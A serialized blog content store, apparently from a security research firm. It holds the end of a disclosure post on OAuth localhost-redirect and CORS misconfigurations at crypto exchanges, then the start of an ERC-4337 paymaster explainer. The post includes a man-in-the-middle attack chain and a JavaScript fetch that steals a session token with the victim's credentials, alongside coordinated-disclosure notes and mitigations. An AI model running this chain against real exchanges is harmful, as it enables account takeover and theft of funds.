",{"type":24,"tag":90,"props":103383,"children":103384},{"style":120},[103385],{"type":29,"value":5491},{"type":24,"tag":90,"props":103387,"children":103388},{"style":1085},[103389],{"type":29,"value":103390}," \"g_id_signin\"\n",{"type":24,"tag":90,"props":103392,"children":103393},{"class":92,"line":90053},[103394],{"type":24,"tag":90,"props":103395,"children":103396},{"style":114},[103397],{"type":29,"value":72876},{"type":24,"tag":90,"props":103399,"children":103400},{"class":92,"line":90061},[103401],{"type":24,"tag":90,"props":103402,"children":103403},{"style":114},[103404],{"type":29,"value":72806},{"type":24,"tag":90,"props":103406,"children":103408},{"class":92,"line":103407},62,[103409],{"type":24,"tag":90,"props":103410,"children":103411},{"style":114},[103412],{"type":29,"value":72891},{"type":24,"tag":90,"props":103414,"children":103416},{"class":92,"line":103415},63,[103417],{"type":24,"tag":90,"props":103418,"children":103419},{"style":114},[103420],{"type":29,"value":72899},{"type":24,"tag":90,"props":103422,"children":103424},{"class":92,"line":103423},64,[103425],{"type":24,"tag":90,"props":103426,"children":103427},{"style":114},[103428],{"type":29,"value":60710},{"type":24,"tag":90,"props":103430,"children":103432},{"class":92,"line":103431},65,[103433,103437,103441,103445,103449,103453],{"type":24,"tag":90,"props":103434,"children":103435},{"style":114},[103436],{"type":29,"value":72914},{"type":24,"tag":90,"props":103438,"children":103439},{"style":108},[103440],{"type":29,"value":72919},{"type":24,"tag":90,"props":103442,"children":103443},{"style":114},[103444],{"type":29,"value":72924},{"type":24,"tag":90,"props":103446,"children":103447},{"style":120},[103448],{"type":29,"value":5491},{"type":24,"tag":90,"props":103450,"children":103451},{"style":97},[103452],{"type":29,"value":14835},{"type":24,"tag":90,"props":103454,"children":103455},{"style":114},[103456],{"type":29,"value":1686},{"type":24,"tag":90,"props":103458,"children":103460},{"class":92,"line":103459},66,[103461],{"type":24,"tag":90,"props":103462,"children":103463},{"style":114},[103464],{"type":29,"value":612},{"type":24,"tag":25,"props":103466,"children":103467},{},[103468],{"type":29,"value":103469},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":24,"tag":25,"props":103471,"children":103472},{},[103473],{"type":29,"value":103474},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":24,"tag":1019,"props":103476,"children":103478},{"id":103477},"how-to-mitigate",[103479],{"type":29,"value":103480},"How to Mitigate",{"type":24,"tag":25,"props":103482,"children":103483},{},[103484],{"type":29,"value":103485},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":24,"tag":850,"props":103487,"children":103489},{"id":103488},"exploiting-cors",[103490],{"type":29,"value":103491},"Exploiting CORS",{"type":24,"tag":25,"props":103493,"children":103494},{},[103495],{"type":29,"value":103496},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":24,"tag":25,"props":103498,"children":103499},{},[103500,103502,103508],{"type":29,"value":103501},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":24,"tag":32,"props":103503,"children":103505},{"className":103504},[],[103506],{"type":29,"value":103507},"http://",{"type":29,"value":103509}," schema for any subdomain:",{"type":24,"tag":80,"props":103511,"children":103515},{"className":103512,"code":103513,"language":103514,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[103516],{"type":24,"tag":32,"props":103517,"children":103518},{"__ignoreMap":7},[103519,103527,103535,103543],{"type":24,"tag":90,"props":103520,"children":103521},{"class":92,"line":93},[103522],{"type":24,"tag":90,"props":103523,"children":103524},{},[103525],{"type":29,"value":103526},"HTTP 200 OK\n",{"type":24,"tag":90,"props":103528,"children":103529},{"class":92,"line":200},[103530],{"type":24,"tag":90,"props":103531,"children":103532},{},[103533],{"type":29,"value":103534},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":24,"tag":90,"props":103536,"children":103537},{"class":92,"line":239},[103538],{"type":24,"tag":90,"props":103539,"children":103540},{},[103541],{"type":29,"value":103542},"Access-Control-Allow-Credentials: true\n",{"type":24,"tag":90,"props":103544,"children":103545},{"class":92,"line":248},[103546],{"type":24,"tag":90,"props":103547,"children":103548},{},[103549],{"type":29,"value":12686},{"type":24,"tag":1019,"props":103551,"children":103553},{"id":103552},"cors-misconfiguration-by-lack-of-tls",[103554],{"type":29,"value":103555},"CORS Misconfiguration by Lack of TLS",{"type":24,"tag":25,"props":103557,"children":103558},{},[103559,103561,103567],{"type":29,"value":103560},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":24,"tag":32,"props":103562,"children":103564},{"className":103563},[],[103565],{"type":29,"value":103566},"exchange.com",{"type":29,"value":103568}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":24,"tag":25,"props":103570,"children":103571},{},[103572],{"type":29,"value":103573},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":24,"tag":3207,"props":103575,"children":103576},{},[103577,103597],{"type":24,"tag":3104,"props":103578,"children":103579},{},[103580,103582,103587,103589,103595],{"type":29,"value":103581},"Chrome --> won't work because cookies are not sent in ",{"type":24,"tag":32,"props":103583,"children":103585},{"className":103584},[],[103586],{"type":29,"value":103507},{"type":29,"value":103588}," --> ",{"type":24,"tag":32,"props":103590,"children":103592},{"className":103591},[],[103593],{"type":29,"value":103594},"https://",{"type":29,"value":103596}," requests, even if same-site",{"type":24,"tag":3104,"props":103598,"children":103599},{},[103600,103602],{"type":29,"value":103601},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":24,"tag":32,"props":103603,"children":103605},{"className":103604},[],[103606],{"type":29,"value":39581},{"type":24,"tag":1019,"props":103608,"children":103610},{"id":103609},"exploit-1",[103611],{"type":29,"value":101941},{"type":24,"tag":25,"props":103613,"children":103614},{},[103615],{"type":29,"value":103616},"To exploit it, we must follow some steps:",{"type":24,"tag":3100,"props":103618,"children":103619},{},[103620,103625,103630],{"type":24,"tag":3104,"props":103621,"children":103622},{},[103623],{"type":29,"value":103624},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":24,"tag":3104,"props":103626,"children":103627},{},[103628],{"type":29,"value":103629},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":24,"tag":3104,"props":103631,"children":103632},{},[103633,103635,103640],{"type":29,"value":103634},"Use ",{"type":24,"tag":32,"props":103636,"children":103638},{"className":103637},[],[103639],{"type":29,"value":39581},{"type":29,"value":103641}," with CORS to do something malicious using the victim's account",{"type":24,"tag":25,"props":103643,"children":103644},{},[103645],{"type":29,"value":103646},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":24,"tag":25,"props":103648,"children":103649},{},[103650,103652,103657],{"type":29,"value":103651},"Once the redirect to the ",{"type":24,"tag":32,"props":103653,"children":103655},{"className":103654},[],[103656],{"type":29,"value":103507},{"type":29,"value":103658}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":24,"tag":80,"props":103660,"children":103662},{"className":33176,"code":103661,"language":33178,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[103663],{"type":24,"tag":32,"props":103664,"children":103665},{"__ignoreMap":7},[103666,103689,103726,103743,103760,103767,103808],{"type":24,"tag":90,"props":103667,"children":103668},{"class":92,"line":93},[103669,103673,103677,103681,103685],{"type":24,"tag":90,"props":103670,"children":103671},{"style":114},[103672],{"type":29,"value":117},{"type":24,"tag":90,"props":103674,"children":103675},{"style":97},[103676],{"type":29,"value":37961},{"type":24,"tag":90,"props":103678,"children":103679},{"style":114},[103680],{"type":29,"value":41513},{"type":24,"tag":90,"props":103682,"children":103683},{"style":97},[103684],{"type":29,"value":1315},{"type":24,"tag":90,"props":103686,"children":103687},{"style":114},[103688],{"type":29,"value":269},{"type":24,"tag":90,"props":103690,"children":103691},{"class":92,"line":200},[103692,103696,103701,103705,103709,103713,103717,103722],{"type":24,"tag":90,"props":103693,"children":103694},{"style":97},[103695],{"type":29,"value":10233},{"type":24,"tag":90,"props":103697,"children":103698},{"style":136},[103699],{"type":29,"value":103700}," res",{"type":24,"tag":90,"props":103702,"children":103703},{"style":120},[103704],{"type":29,"value":216},{"type":24,"tag":90,"props":103706,"children":103707},{"style":636},[103708],{"type":29,"value":38027},{"type":24,"tag":90,"props":103710,"children":103711},{"style":108},[103712],{"type":29,"value":34743},{"type":24,"tag":90,"props":103714,"children":103715},{"style":114},[103716],{"type":29,"value":117},{"type":24,"tag":90,"props":103718,"children":103719},{"style":1085},[103720],{"type":29,"value":103721},"'https://www.exchange.com/api/session_token'",{"type":24,"tag":90,"props":103723,"children":103724},{"style":114},[103725],{"type":29,"value":50705},{"type":24,"tag":90,"props":103727,"children":103728},{"class":92,"line":239},[103729,103734,103739],{"type":24,"tag":90,"props":103730,"children":103731},{"style":136},[103732],{"type":29,"value":103733}," credentials:",{"type":24,"tag":90,"props":103735,"children":103736},{"style":1085},[103737],{"type":29,"value":103738}," 'include'",{"type":24,"tag":90,"props":103740,"children":103741},{"style":114},[103742],{"type":29,"value":748},{"type":24,"tag":90,"props":103744,"children":103745},{"class":92,"line":248},[103746,103751,103756],{"type":24,"tag":90,"props":103747,"children":103748},{"style":136},[103749],{"type":29,"value":103750}," method:",{"type":24,"tag":90,"props":103752,"children":103753},{"style":1085},[103754],{"type":29,"value":103755}," 'POST'",{"type":24,"tag":90,"props":103757,"children":103758},{"style":114},[103759],{"type":29,"value":748},{"type":24,"tag":90,"props":103761,"children":103762},{"class":92,"line":258},[103763],{"type":24,"tag":90,"props":103764,"children":103765},{"style":114},[103766],{"type":29,"value":100024},{"type":24,"tag":90,"props":103768,"children":103769},{"class":92,"line":272},[103770,103775,103779,103784,103788,103792,103796,103800,103804],{"type":24,"tag":90,"props":103771,"children":103772},{"style":136},[103773],{"type":29,"value":103774}," console",{"type":24,"tag":90,"props":103776,"children":103777},{"style":114},[103778],{"type":29,"value":226},{"type":24,"tag":90,"props":103780,"children":103781},{"style":108},[103782],{"type":29,"value":103783},"log",{"type":24,"tag":90,"props":103785,"children":103786},{"style":114},[103787],{"type":29,"value":117},{"type":24,"tag":90,"props":103789,"children":103790},{"style":636},[103791],{"type":29,"value":34730},{"type":24,"tag":90,"props":103793,"children":103794},{"style":136},[103795],{"type":29,"value":103700},{"type":24,"tag":90,"props":103797,"children":103798},{"style":114},[103799],{"type":29,"value":226},{"type":24,"tag":90,"props":103801,"children":103802},{"style":108},[103803],{"type":29,"value":35812},{"type":24,"tag":90,"props":103805,"children":103806},{"style":114},[103807],{"type":29,"value":1928},{"type":24,"tag":90,"props":103809,"children":103810},{"class":92,"line":281},[103811],{"type":24,"tag":90,"props":103812,"children":103813},{"style":114},[103814],{"type":29,"value":103815},"})();\n",{"type":24,"tag":25,"props":103817,"children":103818},{},[103819],{"type":29,"value":103820},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":24,"tag":1019,"props":103822,"children":103823},{"id":42150},[103824],{"type":29,"value":42153},{"type":24,"tag":25,"props":103826,"children":103827},{},[103828,103830,103835],{"type":29,"value":103829},"As mitigation, it is recommended to remove all ",{"type":24,"tag":32,"props":103831,"children":103833},{"className":103832},[],[103834],{"type":29,"value":103507},{"type":29,"value":103836}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":24,"tag":25,"props":103838,"children":103839},{},[103840],{"type":29,"value":103841},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":24,"tag":850,"props":103843,"children":103844},{"id":30743},[103845],{"type":29,"value":20741},{"type":24,"tag":25,"props":103847,"children":103848},{},[103849],{"type":29,"value":103850},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":24,"tag":25,"props":103852,"children":103853},{},[103854],{"type":29,"value":103855},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":24,"tag":5249,"props":103857,"children":103858},{},[103859],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":103861},[103862,103867,103872],{"id":101546,"depth":200,"text":101549,"children":103863},[103864,103865,103866],{"id":101557,"depth":239,"text":101560},{"id":101914,"depth":239,"text":101917},{"id":103477,"depth":239,"text":103480},{"id":103488,"depth":200,"text":103491,"children":103868},[103869,103870,103871],{"id":103552,"depth":239,"text":103555},{"id":103609,"depth":239,"text":101941},{"id":42150,"depth":239,"text":42153},{"id":30743,"depth":200,"text":20741},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":103877,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103878,"description":103879,"date":103880,"author":103881,"image":103882,"isFeatured":16,"onBlogPage":16,"tags":103884,"body":103887,"_type":5270,"_id":109659,"_source":5272,"_file":109660,"_stem":109661,"_extension":5275},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":103883,"width":99098,"height":14},"/posts/paymasters-evm/title.png",[103885,103886],"evm","ERC-4337",{"type":21,"children":103888,"toc":109638},[103889,103893,103904,103909,103914,103919,103925,103931,103936,103941,103947,103952,103980,103986,103991,103998,104003,104013,104018,104044,104050,104070,104076,104096,104104,104135,104168,104177,104189,104214,104226,104239,104282,104288,104321,104420,104439,104462,104467,104473,104501,104648,104653,104680,104686,104698,104710,104719,104754,104759,106244,106272,106293,106298,106310,106319,106324,106342,106365,106370,106376,106430,106436,106469,106504,107328,107364,107400,107466,107499,107997,108050,108062,108626,108695,108722,109344,109386,109413,109425,109486,109505,109539,109544,109549,109554,109558,109563,109598,109624,109629,109634],{"type":24,"tag":37188,"props":103890,"children":103891},{"id":30826},[103892],{"type":29,"value":30829},{"type":24,"tag":25,"props":103894,"children":103895},{},[103896,103902],{"type":24,"tag":69,"props":103897,"children":103900},{"href":103898,"rel":103899},"https://docs.erc4337.io/",[73],[103901],{"type":29,"value":103886},{"type":29,"value":103903}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":24,"tag":25,"props":103905,"children":103906},{},[103907],{"type":29,"value":103908},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":24,"tag":25,"props":103910,"children":103911},{},[103912],{"type":29,"value":103913},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":24,"tag":25,"props":103915,"children":103916},{},[103917],{"type":29,"value":103918},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":24,"tag":37188,"props":103920,"children":103922},{"id":103921},"erc4337-overview",[103923],{"type":29,"value":103924},"ERC4337 Overview",{"type":24,"tag":850,"props":103926,"children":103928},{"id":103927},"traditional-eoas-vs-smart-contract-wallets",[103929],{"type":29,"value":103930},"Traditional EOAs vs Smart Contract Wallets",{"type":24,"tag":25,"props":103932,"children":103933},{},[103934],{"type":29,"value":103935},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":24,"tag":25,"props":103937,"children":103938},{},[103939],{"type":29,"value":103940},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":24,"tag":850,"props":103942,"children":103944},{"id":103943},"why-erc4337-was-introduced",[103945],{"type":29,"value":103946},"Why ERC‑4337 Was Introduced",{"type":24,"tag":25,"props":103948,"children":103949},{},[103950],{"type":29,"value":103951},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":24,"tag":3207,"props":103953,"children":103954},{},[103955,103960,103965,103970,103975],{"type":24,"tag":3104,"props":103956,"children":103957},{},[103958],{"type":29,"value":103959},"User recovery for lost keys (e.g. social recovery)",{"type":24,"tag":3104,"props":103961,"children":103962},{},[103963],{"type":29,"value":103964},"Batched or atomic multi-step operations in one flow",{"type":24,"tag":3104,"props":103966,"children":103967},{},[103968],{"type":29,"value":103969},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":24,"tag":3104,"props":103971,"children":103972},{},[103973],{"type":29,"value":103974},"Using custom signature schemes or multisig logic",{"type":24,"tag":3104,"props":103976,"children":103977},{},[103978],{"type":29,"value":103979},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":24,"tag":850,"props":103981,"children":103983},{"id":103982},"how-erc-4337-works",[103984],{"type":29,"value":103985},"How ERC-4337 Works",{"type":24,"tag":25,"props":103987,"children":103988},{},[103989],{"type":29,"value":103990},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":24,"tag":25,"props":103992,"children":103993},{},[103994],{"type":24,"tag":6301,"props":103995,"children":103997},{"alt":52402,"src":103996},"/posts/paymasters-evm/flowchart.png",[],{"type":24,"tag":25,"props":103999,"children":104000},{},[104001],{"type":29,"value":104002},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":24,"tag":1019,"props":104004,"children":104006},{"id":104005},"useroperation",[104007],{"type":24,"tag":32,"props":104008,"children":104010},{"className":104009},[],[104011],{"type":29,"value":104012},"UserOperation",{"type":24,"tag":25,"props":104014,"children":104015},{},[104016],{"type":29,"value":104017},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":24,"tag":3207,"props":104019,"children":104020},{},[104021,104026,104031],{"type":24,"tag":3104,"props":104022,"children":104023},{},[104024],{"type":29,"value":104025},"Target contract call(s)",{"type":24,"tag":3104,"props":104027,"children":104028},{},[104029],{"type":29,"value":104030},"Signature or validation metadata",{"type":24,"tag":3104,"props":104032,"children":104033},{},[104034,104036,104042],{"type":29,"value":104035},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":24,"tag":32,"props":104037,"children":104039},{"className":104038},[],[104040],{"type":29,"value":104041},"UserOperations",{"type":29,"value":104043}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":24,"tag":1019,"props":104045,"children":104047},{"id":104046},"smart-contract-account",[104048],{"type":29,"value":104049},"Smart Contract Account",{"type":24,"tag":25,"props":104051,"children":104052},{},[104053,104055,104061,104062,104068],{"type":29,"value":104054},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":24,"tag":32,"props":104056,"children":104058},{"className":104057},[],[104059],{"type":29,"value":104060},"validateUserOp()",{"type":29,"value":13360},{"type":24,"tag":32,"props":104063,"children":104065},{"className":104064},[],[104066],{"type":29,"value":104067},"executeUserOp()",{"type":29,"value":104069},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":24,"tag":1019,"props":104071,"children":104073},{"id":104072},"bundler",[104074],{"type":29,"value":104075},"Bundler",{"type":24,"tag":25,"props":104077,"children":104078},{},[104079,104081,104086,104088,104094],{"type":29,"value":104080},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":24,"tag":32,"props":104082,"children":104084},{"className":104083},[],[104085],{"type":29,"value":104041},{"type":29,"value":104087},", packages them, and submits them in a single transaction to the ",{"type":24,"tag":32,"props":104089,"children":104091},{"className":104090},[],[104092],{"type":29,"value":104093},"EntryPoint",{"type":29,"value":104095}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":24,"tag":1019,"props":104097,"children":104098},{"id":1216},[104099],{"type":24,"tag":32,"props":104100,"children":104102},{"className":104101},[],[104103],{"type":29,"value":104093},{"type":24,"tag":25,"props":104105,"children":104106},{},[104107,104108,104113,104115,104120,104122,104126,104128,104133],{"type":29,"value":3131},{"type":24,"tag":32,"props":104109,"children":104111},{"className":104110},[],[104112],{"type":29,"value":104093},{"type":29,"value":104114}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":24,"tag":32,"props":104116,"children":104118},{"className":104117},[],[104119],{"type":29,"value":104041},{"type":29,"value":104121}," submitted by a ",{"type":24,"tag":7711,"props":104123,"children":104124},{},[104125],{"type":29,"value":104075},{"type":29,"value":104127},", the ",{"type":24,"tag":32,"props":104129,"children":104131},{"className":104130},[],[104132],{"type":29,"value":104093},{"type":29,"value":104134}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":24,"tag":25,"props":104136,"children":104137},{},[104138,104140,104145,104147,104151,104153,104158,104160,104166],{"type":29,"value":104139},"Once all operations have been processed, the ",{"type":24,"tag":32,"props":104141,"children":104143},{"className":104142},[],[104144],{"type":29,"value":104093},{"type":29,"value":104146}," calculates the total gas consumed and reimburses the ",{"type":24,"tag":7711,"props":104148,"children":104149},{},[104150],{"type":29,"value":104075},{"type":29,"value":104152},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":24,"tag":32,"props":104154,"children":104156},{"className":104155},[],[104157],{"type":29,"value":104093},{"type":29,"value":104159}," or from a ",{"type":24,"tag":32,"props":104161,"children":104163},{"className":104162},[],[104164],{"type":29,"value":104165},"paymaster",{"type":29,"value":104167}," that has agreed to sponsor the transaction.",{"type":24,"tag":1019,"props":104169,"children":104170},{"id":104165},[104171],{"type":24,"tag":32,"props":104172,"children":104174},{"className":104173},[],[104175],{"type":29,"value":104176},"Paymaster",{"type":24,"tag":25,"props":104178,"children":104179},{},[104180,104182,104187],{"type":29,"value":104181},"A ",{"type":24,"tag":32,"props":104183,"children":104185},{"className":104184},[],[104186],{"type":29,"value":104165},{"type":29,"value":104188}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":24,"tag":3207,"props":104190,"children":104191},{},[104192,104203],{"type":24,"tag":3104,"props":104193,"children":104194},{},[104195,104201],{"type":24,"tag":32,"props":104196,"children":104198},{"className":104197},[],[104199],{"type":29,"value":104200},"validatePaymasterUserOp()",{"type":29,"value":104202}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":24,"tag":3104,"props":104204,"children":104205},{},[104206,104212],{"type":24,"tag":32,"props":104207,"children":104209},{"className":104208},[],[104210],{"type":29,"value":104211},"postOp()",{"type":29,"value":104213},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":24,"tag":25,"props":104215,"children":104216},{},[104217,104219,104224],{"type":29,"value":104218},"By supporting both sponsorship and token-based gas payments, ",{"type":24,"tag":32,"props":104220,"children":104222},{"className":104221},[],[104223],{"type":29,"value":104165},{"type":29,"value":104225}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":24,"tag":850,"props":104227,"children":104229},{"id":104228},"understanding-the-entrypoints-flow",[104230,104232,104237],{"type":29,"value":104231},"Understanding the ",{"type":24,"tag":32,"props":104233,"children":104235},{"className":104234},[],[104236],{"type":29,"value":104093},{"type":29,"value":104238},"'s Flow",{"type":24,"tag":25,"props":104240,"children":104241},{},[104242,104244,104249,104250,104255,104257,104268,104270,104275,104276,104281],{"type":29,"value":104243},"When a bundler submits ",{"type":24,"tag":32,"props":104245,"children":104247},{"className":104246},[],[104248],{"type":29,"value":104041},{"type":29,"value":2924},{"type":24,"tag":32,"props":104251,"children":104253},{"className":104252},[],[104254],{"type":29,"value":104093},{"type":29,"value":104256}," contract via ",{"type":24,"tag":69,"props":104258,"children":104261},{"href":104259,"rel":104260},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[73],[104262],{"type":24,"tag":32,"props":104263,"children":104265},{"className":104264},[],[104266],{"type":29,"value":104267},"handleOps()",{"type":29,"value":104269},", the processing occurs in two main phases: ",{"type":24,"tag":7711,"props":104271,"children":104272},{},[104273],{"type":29,"value":104274},"Validation",{"type":29,"value":13360},{"type":24,"tag":7711,"props":104277,"children":104278},{},[104279],{"type":29,"value":104280},"Execution",{"type":29,"value":226},{"type":24,"tag":1019,"props":104283,"children":104285},{"id":104284},"validation-phase",[104286],{"type":29,"value":104287},"Validation Phase",{"type":24,"tag":25,"props":104289,"children":104290},{},[104291,104293,104298,104300,104306,104308,104314,104315,104320],{"type":29,"value":104292},"In this phase, the ",{"type":24,"tag":32,"props":104294,"children":104296},{"className":104295},[],[104297],{"type":29,"value":104093},{"type":29,"value":104299}," first validates all operations in the submitted ",{"type":24,"tag":32,"props":104301,"children":104303},{"className":104302},[],[104304],{"type":29,"value":104305},"UserOps",{"type":29,"value":104307}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":24,"tag":32,"props":104309,"children":104311},{"className":104310},[],[104312],{"type":29,"value":104313},"UserOp",{"type":29,"value":104127},{"type":24,"tag":32,"props":104316,"children":104318},{"className":104317},[],[104319],{"type":29,"value":104093},{"type":29,"value":78},{"type":24,"tag":3100,"props":104322,"children":104323},{},[104324,104342,104360,104381,104393],{"type":24,"tag":3104,"props":104325,"children":104326},{},[104327,104334,104336],{"type":24,"tag":69,"props":104328,"children":104331},{"href":104329,"rel":104330},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[73],[104332],{"type":29,"value":104333},"Calculates",{"type":29,"value":104335}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":24,"tag":32,"props":104337,"children":104339},{"className":104338},[],[104340],{"type":29,"value":104341},"maxFeePerGas",{"type":24,"tag":3104,"props":104343,"children":104344},{},[104345,104352,104353,104358],{"type":24,"tag":69,"props":104346,"children":104349},{"href":104347,"rel":104348},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[73],[104350],{"type":29,"value":104351},"Calls",{"type":29,"value":2877},{"type":24,"tag":32,"props":104354,"children":104356},{"className":104355},[],[104357],{"type":29,"value":104060},{"type":29,"value":104359}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":24,"tag":3104,"props":104361,"children":104362},{},[104363,104365,104372,104374,104379],{"type":29,"value":104364},"If no paymaster is specified, attempts to ",{"type":24,"tag":69,"props":104366,"children":104369},{"href":104367,"rel":104368},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[73],[104370],{"type":29,"value":104371},"deduct",{"type":29,"value":104373}," the prefund amount from the sender's ETH deposit in the ",{"type":24,"tag":32,"props":104375,"children":104377},{"className":104376},[],[104378],{"type":29,"value":104093},{"type":29,"value":104380}," (this can be partially refunded later if actual execution costs less)",{"type":24,"tag":3104,"props":104382,"children":104383},{},[104384,104391],{"type":24,"tag":69,"props":104385,"children":104388},{"href":104386,"rel":104387},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[73],[104389],{"type":29,"value":104390},"Validates",{"type":29,"value":104392}," the nonce to prevent replay attacks",{"type":24,"tag":3104,"props":104394,"children":104395},{},[104396,104398,104404,104406,104412,104413,104418],{"type":29,"value":104397},"If a paymaster is specified, it will ",{"type":24,"tag":69,"props":104399,"children":104402},{"href":104400,"rel":104401},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[73],[104403],{"type":29,"value":104371},{"type":29,"value":104405}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":24,"tag":69,"props":104407,"children":104410},{"href":104408,"rel":104409},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[73],[104411],{"type":29,"value":40112},{"type":29,"value":2877},{"type":24,"tag":32,"props":104414,"children":104416},{"className":104415},[],[104417],{"type":29,"value":104200},{"type":29,"value":104419}," on the paymaster contract to verify it will cover gas costs",{"type":24,"tag":25,"props":104421,"children":104422},{},[104423,104425,104430,104432,104437],{"type":29,"value":104424},"Only after all these validation checks pass will the 